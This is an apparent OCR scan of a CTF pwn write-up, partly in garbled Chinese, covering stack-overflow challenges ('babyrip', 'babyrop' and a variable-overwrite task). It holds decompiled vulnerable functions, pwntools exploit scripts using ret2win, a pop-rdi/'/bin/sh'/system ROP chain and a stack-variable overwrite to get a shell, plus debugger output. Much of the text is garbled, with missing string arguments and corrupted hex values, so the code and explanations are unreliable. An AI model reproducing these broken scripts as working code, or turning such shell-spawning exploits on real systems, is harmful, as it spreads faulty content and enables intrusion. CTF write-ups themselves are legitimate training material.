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0x00 babyrip
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int pwn()

;
1

char vi;

printf(
__is0c99_scanf(

return puts(

1
J

int backdeer()

P
1

return execve( , OLL, OLL);

}
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exp:

from pwn import

context.log level

D remote( ,10000)
junk =248

sys_addr 0x04007D5

payload junk p64(sys_addr)
p.send(payload)

p.interactive()
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XIEM A 2] T 8 rop, MU B K RHEIE £ M _E# T T rop I EIE .
XAER B T fi i +pop rdi+fE Abinshiilit+iE sy stemi ¥k
64N 27 iR R BRI E — NS H, S pop rdif I binshith hik i3k rdidb

exp:

from pwn import
context.log level
p = process(

r = remote( ,10001)
junk = Oxf8

sys_addr = 0x0400724
0x0400803
junk +p64(pop_rdi)+p64(bin_addr)+p64(sys_addr)

r.interactive()

Ox7ffff7a05bc8 < libc_start_main+286= lock dec dword ptr [rax]

00:0000| rsp
edi, eax
01:0008 X7 dde

02:0010 Ox7fFIff 8 Ox7FFFffffdeas ex7fffffffe239 <« '/home/prdev
11}challengejxlaosaljbabyrop

03:0018 Tfffffffdded < Ox100008000

04:00260 J' f B —p < push rbp

05:0028 Ox7ffifi 0 - Ox0

06:0030 0 8 <4 0Oxf48f7cabB67beaee

<+ XOr ebp, ebp

40079a main+116
7ffff7aes5b97 _ libc_start_main+231

search -s "/bin/sh"
ex68732f6e69622Ff /* '/bin/sh' */
babyrop Ox600836 0x68732f6e69622F f* ' [fbinfsh' */
0x68732f6e69622F [* '/binfsh' */
warning: Unable to access 16000 bytes of target memory at @x7ffffrbd2de6, haltin
g search.
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SEIDARTHE — T EEERH:

unsigned __ int64 pwn()
{

char s;

__int64 v2;

__int64 v3;

unsigned __ int64 v4;

v4 = _ readfsqword(0x28u);
memset(&s, 0, Ox110ulLL);
v3 = 180097847LL;
printf(
read(@, &s, ©x18ull);
printf(
read(@, &v2, ©x100uLl);
printf(
if ( v3 20150972 )
{

puts(

system(
)i
else
{

puts(
}

return _ readfsqword(@x28u) va;

TRIAF SR i Aname+HER junk FH+ L BB %W getshell

exp:

from pwn import

context(arch »log_level
remote( ,10002)

.recv()

.sendline(

.recv()

.sendline( Oxf8+p64(0x1337ABC) )

.interactive()
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0x03 syscall

0x04 inversion
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